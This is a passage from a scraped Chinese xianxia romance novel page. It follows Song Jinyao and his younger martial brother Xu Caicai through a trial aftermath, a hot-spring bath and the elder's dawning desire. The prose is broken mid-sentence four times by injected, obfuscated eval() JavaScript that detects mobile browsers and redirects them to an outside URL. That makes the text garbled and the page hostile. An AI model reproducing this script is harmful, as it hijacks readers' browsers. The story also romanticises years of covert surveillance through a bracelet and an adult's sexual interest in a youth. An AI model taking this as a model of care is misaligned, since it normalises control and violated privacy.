“与结丹期灵兽缠斗。我只教你要量力而行,安全为要,没教你如此不知轻重。” 许采采打败了那么厉害的石妖,早早就通过了试炼,表现得比以往都好许多,本以为出来后师兄会先夸他再训他呢。 谁知道上来就直接挨训了。 不过,看着宋尽遥低头为他处理伤势的发顶,许采采歪歪脑袋,忽然反应过来什么。 “我不是把玄光镜摘掉了吗,师兄怎么还知道我是与结丹期妖兽打的架?” 他说着,又左右摇一摇受伤的那条腿:“而且还知道我的伤在哪。” 他与石妖打了那么多个回合,受伤是不可避免的。 但大部分都只是很浅显的划伤,几乎不等打斗完就痊愈得差不多了。 唯有膝盖上这一处,因为是被石妖的利爪抓到,较为严重,所以暂时无法自己恢复。 他浑身脏成这样,身上还有其他没消完的伤痕,他师兄居然就能直接找准最严重的这一个。 许采采越想越觉得怪。 可他问完半晌,宋尽遥却只是抬手按住了他乱动的腿,然后继续垂首为他疗伤,不发一言。 方才还开口就教训他的人,这时倒像是哑巴了。 许采采等得无聊,催他:“师兄,说话呀。” 一道道温润的灵力被揉碎了覆在许采采伤口上,丝丝缕缕地往里渗入。 原本狰狞冒血的伤口便开始以肉眼可见的速度愈合。 宋尽遥动作极为认真严肃。 一直到那道伤一步步愈合至连疤痕都消失不见,许采采的膝盖也重新恢复光洁白皙,他才不声不响地缓一口气,给人慢吞吞地将裤腿放下来。 整理好了,他才抬头,去与许采采对视。 因为许采采坐的石凳较高,而宋尽遥又是蹲着,所以许采采是俯视着他师兄的。 他已经想到了一个解释,便又撑着手问:“难道除了玄光镜,我身上还放了什么别的东西?” 宋尽遥眼眸一闪。 两人日夜相处十多年,不仅宋尽遥对许采采了如指掌,许采采也是十分了解宋尽遥的。 别人可能觉得宋尽遥冷若冰霜,一张俊脸好看是好看,但就是冰雕出来的一般,不会做任何表情,也没有任何情绪。 但其实许采采很清楚,他师兄也有不少微表情。 而且时间长了,他也能把这些微表情的意思猜个七七八八。 就比如这时。 许采采就知道自己说对了。 “真的有?”他愈发觉得奇怪了,低头在自己身上胡乱看了一遍,“是什么?” 宋尽遥似是并不想谈这个。 但还是眉头稍皱,视线下移,落在他的手腕处。 许采采顺着看过去。 那里戴着一枚花纹精致的玉制手镯。 他露出惊讶的表情,然后将镯子取了下来。 许采采拿着镯子,用自己的灵力试试,镯子却没有任何反应,叫人全然看不出它是一件法器。 少年不由再次困惑地看向宋尽遥。 对方沉默片刻,也以指尖碰了碰玉镯。 接触了宋尽遥的灵力后,玉镯便像是忽然有了生命一般,开始轻轻震颤着往外散发灵力。 如泉眼般的灵力在玉镯中间汇聚,变成旋涡,最终四散至半空中,显现出他们二人此时此刻的景象。 动作与神态,都是实时显示的。 许采采有些发愣,发现了最不对劲的地方。 众所周知,玄光镜在使用之前,是需要使用者和接收者双方共同使用法诀,注入灵力,才会被启动的。 也就是只有在双方都允许的情况下,才可以传递声音与影像。 可这个手镯却完全不需要许采采这个佩戴者的同意。 只宋尽遥一人便可以启动使用。 许采采表情呆呆的,脑子终于要转不过来了。 “我怎么记得,”少年眉头轻皱,声音带着犹疑,“这个手镯是师兄好几年前送给我的……” 具体是什么时候,许采采有些记不清了。 “是你十岁那年,”宋尽遥接过话,用仍旧平稳的语气低声道,“我因宗门事务外出,第一次离开你超过半月,送你的。” 一经提醒,许采采便很快想起来了。 他跟着点点头。 他那时候已经长大了不少,刚刚过了最黏宋尽遥的阶段。 但是一想到要整整十多天见不到师兄,十岁的许采采还是很伤心。 他那时可怜巴巴地攥紧他师兄的手,心里难受极了,需要死死抿着唇才能不让眼泪掉下来。 于是宋尽遥便在他腕上戴了这个镯子。 很漂亮,用来哄他高兴。 宋尽遥那时还说,叫他不必害怕。因为即使师兄不在身边,但只要采采有事,师兄就都会知道,还会在第一时间赶到。 许采采神情变得恍惚。 他以为那只是宋尽遥用来哄小孩子的话,没想到居然是真的。 “师兄怎么骗我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15251382|166399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许采采低着头,看着手里的镯子,心里莫名不是滋味,很别扭。 宋尽遥依旧蹲着,仰头观察他的神情,喉结微动。 “没骗你。” 他只是瞒着师弟而已。 许采采撇嘴。 他还是感到很不舒服。 他一直以为这镯子只是个首饰,而且因为很喜欢,所以从戴上到现在从没摘下过。 可这便意味着,在这七八年的时间里,宋尽遥随时随地都可以看到、听到他在做什么。 而他本人却对此一无所知。 许采采越往深处想,眉头就皱得越深。 他指尖抠着手镯上的纹路,逐渐不想说话,也不想看宋尽遥了。 这便是有脾气了。 蹲在跟前的人忽的上前靠近半步。 宋尽遥一手轻轻把那镯子从许采采手中拿走,一手裹住许采采发凉的双手。 他轻捏着少年软而坚韧的指节,开始温声哄人。 “采采,你那时很小,师兄看不见你,不能时刻确定你一切都好,会很担心。” 许采采抬眼瞥他,顿了顿,很不开心地说:“可是我现在已经长大了啊。” 宋尽遥眸色闪动,灰白眸子里一时只能盛得下一个许采采。 “在师兄眼里,采采永远是小孩子。” 许采采被这样的目光注视着,没忍住眨了眨眼睛。 方才蓄积的小脾气因为心软,开始不受控制地散去。 宋尽遥继续摩挲着他的手。 他一边说着,一边试图将玉镯重新给人戴回去。 “采采,别生师兄的气,好不好?” “……” 许采采抿着唇,发现自己根本气不起来了。 正是因为知道宋尽遥对其他人有多冷漠,所以许采采才最受不了对方这样放软态度与语气哄他。 少年垂着眼,眼看着那枚镯子又一寸寸套回自己手腕上。 他心想,算了,反正师兄也都是为了他好。 宋尽遥这么做,也只是因为太关心他,疼爱他了。 许采采在心里安慰自己。 更何况,他们师兄弟二人本来就几乎十二个时辰都待在一起,他也没什么事是不能给他师兄知道的。 手镯就这样重新戴了回去。 晶莹碧绿如春水般缠绕在少年的白皙手腕上,这样的颜色一直很适合许采采。 宋尽遥像是失而复得一般,手指不住在镯子与师弟的手腕上轻抚。 许采采将对方这个小动作看在眼里,又别开视线。 虽然说服自己勉强想通了,但他心里还是有些小别扭的。 他还是不太想搭理他师兄。 宋尽遥便抬眸望着他。 “……” 许采采跟人对视几息,自己很快就先坚持不住了。 于是眉头一皱,用力晃晃腿,把鞋尖往他师兄小腿上撞。 宋尽遥半蹲在原地,一动不动。 许采采扭过脸不看他:“我腿还有些疼,你要背我回去。” “好。” 宋尽遥神情不变,心中却如释重负。 他简直是毫不停顿地点头。 这种时候,只要能哄好采采,他是什么都愿意做的。 一身白衣,气质冷硬的修士迅速转身蹲好,动作小心地将自己师弟稳稳地背了起来。 7. 七 宋尽遥背着许采采离开后山秘境,往微明峰方向去的时候,此次试炼已经接近尾声了。 不像方才两人说话时那么僻静,这时周遭已经有不少来来往往的宗门弟子。 许采采方才正有脾气,没注意到这点,这时趴在他师兄背上了,才发现大家都在好奇地往他们这边看。 他倒是不嫌害臊,就是怕宋尽遥介意。 毕竟哪有师兄背师弟的。 这要传出去,怕是要坏了他师兄高大威猛的形象。 于是许采采忙撑着他师兄结实的肩膀,把脑袋凑过去观察对方的表情。 宋尽遥亦没有任何不悦。 反而还以为许采采又在淘气乱动。 箍在许采采腿根处的长指跟着紧了紧力道,宋尽遥步伐沉稳,低声哄人安生趴好。 许采采便美滋滋地笑起来,乖乖趴在他师兄宽阔的背上只管享受了。 且这一路上虽然有不少弟子被他们师兄弟二人吸引目光,但因为宋尽遥高冷可怕的名声在外,所以没一个人敢驻足观看或是小声议论。 碰上与许采采关系不错的好伙伴时,大家也没偷偷笑话许采采。 因为他们已经得知了许采采在秘境中击败结丹期灵兽的事。 这会儿看见许采采被他师兄背着,便理所当然地认为许采采一定是在试炼中太过努力而累到了。 那么宋尽遥作为师兄照顾一下师弟,就太应该了。 他们还为许采采感到光荣呢。 …… 天色渐沉,月垂枝头之时,师兄弟二人一同前去泡灵泉。 许采采白日耗尽的灵力还没恢复好,身上大大小小的细密伤口虽然痊愈得差不多,但也需要滋养一番,才不至于损耗气血。 更何况,他今日不知道出了几遍汗,又沾了一身的尘土,脏成这样,只靠清洁术法可不行。 还是畅畅快快地泡个澡来得舒服。 微明峰灵泉就建造在他们所居住庭院后的半山腰处,隐在一片竹林之中。 每回过来,刚走近些便能听见泉水流动的声音。水面上蒸腾的热气与竹影相映,仿佛烟霞。 整个灵泉面积宽广,泉底皆以玉石铺就。 泉水常年温热,碧色灵气与水波萦绕在一处,令人在呼吸间便已觉身心舒畅。 许采采喜爱玩水,每次来泡澡都舍不得走,但又不喜欢自己独自泡。 他似乎从没有真与宋尽遥置气的时候,一般都只是闹些小别扭,好让他师兄哄哄他。 就比如到这时,手镯引起的那点别扭便早就被他抛到九霄云外去了。 许采采又变得颇为黏人,缠着宋尽遥撒娇,要让对方陪他一起下水。 宋尽遥性情原因,其实并不喜欢泡泉,认为麻烦且不雅。 但许采采让他陪,他便从不会拒绝。 更何况,能守在旁边随时看顾师弟也是好的。 师兄弟二人都褪去外袍,只着里衣进了池子。 宋尽遥喜静,进去后便靠坐在池边石壁处闭目养神。 气质沉冷的修士即使在泉水中也是衣衫规整的,束起的长发也是一丝不乱,一张本就俊美的面庞被月色与水光衬得如冰如玉。 许采采就全然不一样了。 他白日累成那样,这时一碰上水,却又来了精力。 少年像条旱了好些时候的鱼一般,跳进水里便开始来回扑腾,折腾得泉水摇动,水波阵阵。 自己玩也就算了,还非要围着他师兄游来游去。 水花乱溅,沾得他师兄脸颊眉梢都是,宋尽遥也丝毫不嫌。 男人只睁开一双泠泠的灰眸看许采采一眼,叮嘱他小心些别呛水,便继续闭上眼睛了。 过去将近半个时辰,许采采总算游累了,这才跟宋尽遥并排坐在一处休息。 他偏头去看,便见他师兄仍保持着最初的姿态靠坐在那里,仿佛睡着了一般。 原本刚入水时,宋尽遥胸口以上的部位还是干燥的,这时也早已被许采采搅出的水波全闹湿了。 布料本就轻透的素白里衣在浸了水后变得更加透明,紧贴在修士坚实的胸膛上,清晰地显露出肌肉起伏的形状。 许采采羡慕地看了几眼,没忍住用手指在上面轻轻戳一戳。 刚戳两下,宋尽遥便睁开眼,捉住了他乱动的手。 男人带着询问意味地垂眸。 许采采以手肘撑在岸边,支着脸看他师兄,双眸明亮地认真问:“师兄,你的身材好健硕,我以后会不会变得跟你一样强壮?” 他话音落下,宋尽遥的视线便随之下移,落在许采采身上。 师兄弟二人的衣服都出自宋尽遥之手,两人这时所穿的里衣不管料子还是颜色,都是一样的。 是以宋尽遥也能将许采采的身材看得一清二楚。 少年尚未完全长成,与他相比,的确衬得瘦弱。 但因为平日从未疏于锻炼,所以腰腹胸膛上也有薄薄的一层肌肉,很漂亮。 宋尽遥只看一眼便移开了视线。 他认为师弟这样就很好,只需健康便足够了,不必非要与自己一样。 但抬眸迎上许采采期待的目光,修士停顿几息,神情无波无动地回答:“你想的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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往常泡灵泉泡到最后,都是他师兄开口催他结束,怎么这次对方反倒留恋起来了? 难不成他师兄终于知道灵泉的好了? 不过疑惑再多,许采采也没心思去细想,他这时更想赶紧看看自己的奖品都有什么。 于是只匆匆催他师兄一句快点泡完过来找他,少年便撒腿跑远了。 8. 八 宋尽遥穿戴整齐,离开灵泉时,许采采已经取完奖品回到两人居住的庭院中了。 宋尽遥便径直过去。 内室里,许采采换了身更舒服的浅青色里衣,正盘腿坐在榻上清点自己获得的奖励。 少年整个人都美滋滋的。 小小的储物匣里东西不少。 大部分都是上品的法器、丹药和符箓。 其中一部分是修士们在打斗过程中十分常用的,不分境界,只需学会使用方法、灵力充足便可使用;另有一部分则是专供筑基期修士使用的,可以用来协助许采采早日渡劫结成金丹。 除此之外,还附带了许多灵植灵宠以及灵果。 灵植灵宠都可以养在身边,只要照料得好,它们大部分都能生出灵智。 不仅会变得聪明伶俐通人性,说人话,还能与修士一般拥有自己的灵力,并自行修炼。 到那时,它们就不仅可以陪伴主人,还能给主人提供很多帮助。 比如有的灵宠养大了,变得威风凛凛的,就可以当成坐骑用;有些灵植则会修炼出强大的防御能力和治愈能力。 许采采喜爱热闹,一向很喜欢这些动物植物,他恨不得养得整个微明峰上都是。 但可惜,宋尽遥似乎并不喜欢,并对此管得很严。 灵宠是一定要送走的。 灵植也需要经过他师兄的严格筛选,每每都是只能留下那么一两株。 这件事从许采采小时候起,就是这样了。 许采采一直也没弄懂宋尽遥的筛选标准是什么,也想不通他师兄为什么会这么讨厌小动物小植物们。 他每次问原因,宋尽遥也不回答,只是哄他说不可以养。 许采采只当是他师兄太过喜静,嫌这些灵宠灵植太吵,才会如此。 不过,这次送来的灵宠真的很可爱。 是一只很小的,白色毛发像蒲公英一般蓬松柔软的小兔子。 许采采把灵兽袋捧在掌心,刚解开口子,小兔子便怯生生地探出脑袋来,开始四处观望。 它并不怕人,许采采伸手去摸它脸颊上的毛,它便撒娇般,顺势抬起前爪抱紧了那只手指。 一边蹭,一边亮着浅红色的眼睛去看许采采。 许采采顿时被可爱得心都要化了。 “师兄,”他忍不住开了口,抬起头来眼巴巴地望向宋尽遥,“你看它多喜欢我,这肯定说明我们跟它有缘分,真的不能留下吗?” 许采采又连忙强调:“我保证我自己就可以照顾好它!” 宋尽遥一身端正白衣,身形修长,安静地站在榻边看他清点东西。 许采采问这话时,男人虽然表情毫无变化,但眸色显然变得比平时冷了。 他垂着眼皮,视线落在许采采被兔子抱住的手指上,开口时语气冷硬:“不能。” 说着,宋尽遥便上前,将兔子的脑袋按回灵兽袋,并将袋口封上收走了。 许采采顿时大感悲伤,揪着袋子的边缘还想挽留,但他师兄简直是铁石心肠,动作毫不犹豫地直接将兔子重新锁回了储物匣中。 “师兄……”许采采仍不死心,仰着头又试探地喊宋尽遥一声,迫切希望对方能心软。 话落,颈后被燥热的手掌捏了捏。 宋尽遥走近安抚他,动作是颇为温柔的,但神情却变得更为冰冷固执。 “采采,听师兄的话。” 许采采知道,这便是一点商量余地也没有了。 他只好别过脸,叹一口气:“好吧。” 随着少年妥协的话音落下,宋尽遥的态度便立刻缓和下来。 男人继续揉着许采采后颈,哄了一句“乖”。 说完,他便又去筛选那堆大大小小的灵植幼苗了。 许采采望着他师兄冷淡自持的身影,虽然还是很舍不得小兔子,但好在这种情况出现的次数很多,他早就习惯了。 顶多是心中会有些遗憾。 而且兔子再可爱,也只是一面之缘,与之相比,当然是师兄最重要。 许采采可不想真惹他师兄不高兴。 再加上,他许采采也不是不懂事的人。 他知道在平日里,连他自己都还总是需要宋尽遥照顾呢。 万一真养了灵宠,他稍有疏忽没照顾好,到那时也是给他师兄添麻烦。 这么一想,许采采很快把自己说服了。 于是只过去片刻,少年便又转移了注意力。 这次送来的灵果他没见过,新奇感很快就代替了方才的失落。 许采采取出一颗嗅了嗅,果香浓郁,且能感受到里头充裕的灵气。 应当是掌事的长老特意为参加试炼的弟子安排的。 要修补在秘境中消耗的灵力,吃这种灵果也是一种极为快捷的办法。 许采采洗都没等得及,只在衣袖上草草擦拭两下,便直接满含期待地咬了一大口。 却不想差点被酸倒牙齿。 他当即皱起脸来:“好酸!” 宋尽遥已经将大部分灵植也重新放回了储物匣中,准备第二天送走。 他闻声很快看过去,皱眉道:“采采,酸就吐出来。” 许采采摇摇头,想说那多浪费啊。 他正要勉强嚼一嚼咽下,宋尽遥却已经放下手里的物件,快步走过来。 男人在榻边俯身,一手握住他的下颌,迫使他仰脸张嘴,另一手便探进他口腔将那块果肉取出来丢掉了。 许采采下意识“呜”了一声,连挣扎都没来得及。 宋尽遥的神情本来是担忧师弟的。 但当长指划过细腻温热的舌肉时,修士动作一僵,灰白的浅眸忽的颤了一下。 他取完便收了手。 许采采闭上嘴巴,咽了咽口水,他这会儿眼里仍是只有果子。 “这么补的灵果,怎么可以那么难吃!” 宋尽遥似是沉默了片刻,才回过神来。 他平稳气息,应道:“难吃就扔掉。” “啊?”许采采纠结,“可是很浪费。” 虽然很酸,但只刚才那一口,他就感受到了不少灵气呢。 宋尽遥见状便没再出声,只拿过他手中剩下的果子,面不改色地三两口吃掉了。 “……” 这次轮到许采采面露担忧了:“师兄,你真的不嫌酸?” 宋尽遥没应他,俯身将剩下的灵果收起来放好:“放久一点,或许会没那么酸,到时再吃,便不浪费了。” 许采采赶紧十分赞同地点头。 然后又将宋尽遥拽过来,让人在榻边坐下,他把选出来的最好的法器符箓都摆在他师兄面前。 “师兄,你挑一挑,看有没有你能用得上的。” 许采采这时眼睛明亮,整个人都乖乖的。 他有些不好意思地小声道:“不能总是师兄照顾我,我也想对师兄好,回报师兄。” 许采采说得情真意切,宋尽遥一双眼却只盯着师弟张张合合、色泽红润的嘴唇,一时有些难以自控。 他藏在身侧的手指不受控制地颤动,那处好似还残留着方才湿漉漉的触感。 只要稍一回想,宋尽遥便觉浑身燥热,下腹阵阵收紧。 可他从前不是没那么帮过许采采。 采采小的时候,傻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15251384|166399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兮兮地捡路过的石头去尝,宋尽遥吓得心慌,也是那般帮师弟将石子从口中取出来。 采采虽然长大了,他还是经常会像照顾小孩子那样给师弟喂饭,给师弟擦嘴…… 但从前并没有哪次,会让他产生这种异常的感受。 胸腔里像是钻进了一团火舌,烧得他呼吸灼热,燥烈难安。 宋尽遥想得深了,耳边有片刻的嗡鸣。 之后修士胸膛起伏,浑身绷紧的肌肉才跟着缓缓放松。 “师兄!”许采采不知道已经喊了他多少声,少年都有些恼了,“怎么一直在发呆不理我!” 宋尽遥面无表情。 只将视线从许采采脸上,稍显艰难地移到摆在床褥中的一堆法器上。 他皱起眉,淡声开口:“我不需要。” “师兄照顾你是应该的。”宋尽遥沉声说。 他不喜欢许采采说要回报他之类的话。 亦不喜欢许采采说什么有一天他要真正长大,要反过来照顾师兄。 每每许采采说这些,都会让宋尽遥觉得,对方像有一天会彻底不需要他,随时可以离开他一样。 宋尽遥无法接受。 “可是你不要,我会不高兴啊。”许采采哪知道他心中所想,只摇着他的手臂,变着法地劝。 少年又故作怀疑道:“难道你不收,是因为看不上我的这些奖品?” 听到前半句,宋尽遥本就有所动摇,再听见许采采后面的话,宋尽遥便立刻皱起眉了。 “不是。”他迅速开口否认。 之后实在是拗不过许采采,宋尽遥只好象征性地挑选几样收下。 许采采顿时满意,这才愿意熄灯睡觉了。 虽说修士的修为到了筑基,便可以不需要借助睡眠来补充精力了,但许采采今日白天与石妖打斗耗尽灵力,晚上又因为灵泉与奖品玩闹到这么晚,还是好好睡一觉方能让劳累的身体得到彻底的休息。 夜明灯熄灭后,床幔也被放下,周遭很快陷入昏暗。 许采采累坏了,加上他本来就睡眠好,所以几乎是刚躺下便睡着了。 他背对着窝在宋尽遥怀中,脊骨突出的腰背则紧紧贴住他师兄的胸膛与腰腹,两只手还能攥住他师兄的手指。 宋尽遥稍稍侧身,一只手臂探过去轻搂住怀里的人,宽大的手掌恰好可以捂在他师弟的肚子上。 这是许采采要求的。 他每每都非要宋尽遥抱住他了,才肯踏实去睡。 只是现在,许采采已然睡得香甜,宋尽遥却难以安神。 这些时日,身体出现异样的频次越来越多。 宋尽遥生性敏锐,不是粗心的性子,无法做到忽略。 他知道定是有哪里出了问题。 而且,宋尽遥很清楚。 不是他的身体出了什么病症,而是因为师弟,才会如此。 宋尽遥思绪纷乱,凝眉思索片刻,忽的闭上双眼进入了自己的识海。 里头的场景令他心神震动。 像是被迫直面从不敢接触的禁区,宋尽遥看清了自己识海中不知何时已根深蒂结的情根。 其粗壮的触角牢牢盘桓在识海的每一处,密密麻麻,猖狂至极。 这般情景,好似只有毁掉整片识海,才有拔除情根的可能。 宋尽遥心神不稳,呼吸愈发急促,最终像是无法再面对般,匆忙抽离神识,继而陡然睁开了双眼。 卧榻上,四周仍旧一片昏暗。 怀中熟睡之人的绵长气息就在耳畔。 薄透的月色下,修士的心脏似是要直接跃出胸腔,身上衣衫也早已被热汗浸透。 9. 九 翌日清晨,太阳初升,又是天朗气清的一天。 木窗已被人打开,带着晨露湿气的丝丝凉风吹进内室。 许采采一夜好眠,这时惬意地站在榻边,发丝被风吹得轻轻浮动。 他眯着眼睛随意拨了拨,那缕黑发就被站在他身后的宋尽遥轻轻捞去,一同束进发冠中了。 衣物早已穿好,束完发便只剩赤着的双脚。 许采采已经醒了神,见他师兄去取长袜,本张口想说自己来,宋尽遥却已经按着肩膀,让他安稳坐在了榻边。 男人略一掀袍,在他跟前蹲下身。 许采采只好抬脚配合。 少年细瘦洁白的脚腕被大掌虚虚圈住,很快又被柔软的棉质布袜包裹。 许采采手撑在床边,低头看他师兄给他穿靴的动作,忽的歪头出声提醒:“师兄,你把靴子拿反啦。” 明显感受到跟前人原本有条不紊的动作一僵。 宋尽遥并未抬头。 只是在顿了顿后,拿着手里的靴子换只脚继续给许采采穿。 屋内一时静得不太寻常。 许采采沉默几息,缓缓皱起眉,敏锐地察觉出他师兄今天不太对劲。 许采采敢说,这世上绝没有比他更了解宋尽遥的人了。 即使他师兄这会儿看上去明明和往常没有任何不同,一样的冰冷淡漠,毫无表情,习惯性地不说话只做事。 但许采采就是能感觉出来,对方明显心神不定。 而且,与宋尽遥截然相反,许采采全然不是闷不吭声的性子。 他觉出异样,就不假思索地直接问了:“师兄,我怎么感觉你有心事?” 宋尽遥仍未出声。 直到将两只靴子都穿上,给人整理好,才抬眸看许采采一眼,继而站起身。 “瞎想什么。” 他净了手,取来桌上放的蜜饯肉干杏仁之类的小零食,俯身装进许采采挂在腰间的小储物袋里,嘱咐人别忘了吃。 这便是彻底收拾妥当,可以出门了。 许采采却还站在榻边,狐疑地瞅着他师兄看。 宋尽遥神情仍旧冷淡,开口催他:“当心晨练迟到。” 许采采只好作罢。 一整个白天,宋尽遥有他需要忙的宗门事务与修炼任务,许采采也跟同门道友一块儿,上了一整天的剑法课与符箓课。 课程中间,一群年轻弟子围成一堆玩闹时,许采采便会把宋尽遥为他准备的零食拿出来,与朋友们分享着吃。 他向来大方,昨天在秘境试炼中获得的那些法器符箓,许采采也会特意挑选出十几样好玩有趣的,送给大家玩。没吃过的丹药,也要掰成几份挨个尝尝。 他真心待朋友,周围的人自然也都真心喜欢他,高兴与他在一起玩。 这么一来,许采采每日的修炼日常便都是开开心心,热热闹闹的。 如此这般无忧无虑地度过分外充实的一天,到了晚上时,许采采便早就将今早那不起眼的小插曲抛到脑后了。 夜里,微明峰内室中,许采采如往常般,在睡前把今天发生的趣事全讲给宋尽遥听。 这庭院里的一切家什摆件都由宋尽遥亲手置办,包括两人身下躺的这张寒玉床榻。 为保舒适,宋尽遥特意将床榻做得十分宽敞,即使再加上两个人也能绰绰有余。 不过这会儿,那么宽阔的地方,却有大半都空着。 许采采总是黏人得不行,从刚躺下,嘴巴讲着讲着,整个人不知道怎么回事就开始往宋尽遥身上贴。 到这会儿,他为了能一边讲述一边看他师兄的表情反应,不至于让自己唱独角戏,已经半边身子趴在宋尽遥身上,手臂也撑在对方的胸膛上了。 宋尽遥元婴修士,岁数又大,早已不像许采采那样,还是改不了睡觉这一习惯。 他夜里其实已经极少有彻底睡熟的时候了,多数时候都是在静息安神,陪许采采睡。 所以即使在床上,男人也永远都是身姿端正地平躺在榻边。 修士不发一言,用一只手臂垫在脑后,垂着一双灰白双眸静静地听许采采絮叨。 在这般只有两人相处的私密环境里,不论许采采在他身上如何乱动,哪怕弄皱了衣衫,揪乱了头发,宋尽遥也向来不曾训斥阻止半句。 任由许采采怎么舒服怎么来。 许采采讲得差不多的时候,因为撑在他师兄身上的缘故,几缕发丝自额前垂落,轻飘飘扫在脸颊。 痒得他不舒服,少年便下意识将脸埋下,往跟前的胸膛上用力蹭了蹭。 少年挺拔的鼻尖似乎划到什么。 许采采尚未细想,便先发觉脸颊紧贴的肌肉忽然一个紧绷,变得极硬。 他鼻子都差点被挤到了。 然而还不等他先抬头,许采采便又感觉腰身一紧。 紧跟着,他整个人便被一股强硬又绝对压制的力道直接推开到一边。 视野翻转,脊背和脑袋摔进被褥里,虽然并不疼,但也足够令许采采震惊了。 他一时睁圆了眼睛。 不仅是震惊,甚至还有些受伤。 他师兄怎么回事? 如果许采采没记错的话,宋尽遥从小到大都没有这样凶巴巴地推开过他。 许采采胡乱从床上坐起来,扒拉几下自己摔得乱糟糟的头发,气恼地开口:“师兄?” 宋尽遥以手肘撑床,似是原想去拉许采采来着,但又更像是在忍耐着什么,神情极为不自然。 他眉头深皱,灰白双眼看向别处,呼吸有些发颤。 借着夜明灯的亮光,许采采注意到了他师兄额上冒出的细密热汗。 他当场一愣,顿时就顾不上别的了,眼里的不解在这时全化作了担忧。 少年忙重新凑过去。 两人的面庞近得呼吸可闻。 这次宋尽遥咬了咬牙,忍着没躲。 “师兄,”许采采眼睛直直地望着对方,担心得不行,“你早上就有些不对劲,身体不舒服是不是?” “……” 宋尽遥暗中运转灵力,平稳气息的同时,将脸上那层薄汗也散去。 如此一来,修士很快就恢复了平日里的冷静镇定。 “没有。”他与许采采对视,声线平稳地答。 “那你方才为什么突然推开我?” 许采采却没那么好打发,很快追问道。 在许采采看来,他们师兄弟二人亲密无间,相处起来不需有任何顾虑。 他们没什么是不能问不能说的,也没什么是要瞒着彼此的。 许采采问完,宋尽遥被师弟这样近在咫尺地盯着,不动声色地摒紧了气息。 他内心愈发煎熬,面上却只会变得更加冷硬。 “是师兄的错。” 他移开视线,放缓了声音,低声给人道歉:“师兄并非有意,你重新靠回来就是。” 许采采皱眉。 他本是打算一定要问到底的。 但宋尽遥一这样温柔地跟他说话,他思路顿时就全乱了。 腰后被有力的手臂揽住,宋尽遥靠在床头,重新把他抱进怀里。 男人宽阔的胸膛温暖而柔软。 许采采懵懵地埋脸在他师兄颈间,还要再开口,又感觉到宋尽遥一掌托着他的腰,另一手在他颈后轻捏,并顺着往下一遍遍地抚弄。 这是他小时候哭闹时,他师兄才会用的安抚他的动作。 许采采这回彻底抵挡不住了。 他浑身开始不受控制地放松,一时间大脑放空,连困意都跟着袭了上来。 …… 接下来的十来天里,宋尽遥再没出现过类似这次的异样。 但也有好几天晚上,一向睡眠很好的许采采会莫名其妙地在半夜醒来,然后发现自己怀里抱着的他师兄的手臂,不知何时被替换成了他师兄的本命剑。 而宋尽遥本人却不知所踪。 然而到了清早,一切又都恢复原样,许采采又是在他师兄的怀里睡醒的。 许采采再好哄,也不是傻子。 他知道他师兄肯定是出了什么问题,而且还不愿意告诉他。 正是因为如此,许采采才在被糊弄了几回后,只好选择暂时忍着不再问。 但时间长了,他心里也会感到难受。 因为宋尽遥从来不曾这样过。 就像许采采愿意让宋尽遥给他戴上那枚可以时刻监视他的手镯一样,宋尽遥对许采采也向来都是坦诚的。 虽然话少,不会主动开口,但每每许采采问什么,宋尽遥都会答什么。 不会对他撒谎,更不会这样刻意隐瞒他。 许采采被宋尽遥养得坦荡直率,本就是心里装不得事的性子。 现在让他明知道出了什么事,却不能问,不能知晓内情,尤其这事还跟他最亲近的人相关。 这简直比把许采采放在油锅上煎烤还难受。 就这般又过去了四五天,在许采采已经被这件事影响了正常生活,连玩都没什么心思,变得总是唉声叹气的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尽量简练地叙述完问题,许采采手中捏决,传讯符很快便化作几道灵气,朝着药王谷的方向迅速飞去。 太阳开始落山。 天色彻底暗下之际,宋尽遥一身白衣,不染纤尘,御风落在微明峰山下。 周遭结界感知到他,轻轻波动。 修士能感知到许采采的气息,少年这时应当就待在两人居住的庭院中。 但破天荒的,一向黏人的师弟这次并没有立刻跑出来迎接他。 院落里,许采采坐在两棵粗壮大树中间的秋千上,正忙着跟药王谷小药童来回传讯。 先是小药童收到他的讯息后,很快便送来的回复: [我告诉你采采大哥,多亏我是谷主身边最厉害的药童,才能给你打探你要的消息。那可是元婴修士!真得罪了我没得活的!而且,我们药王谷是严禁医修泄露患者私隐的,不过嘛,你也知道,我只是个小药童,所以我可以,而且你是家属嘛……] 许采采坐在那里,手中紧紧捏着这枚传讯符。 他神情紧张,竖着耳朵听得正认真,却发现后面已经没了。 传讯符每次可以传达的话语很有限。 而许采采差点忘了,他这位昔日好友是个超级话痨! 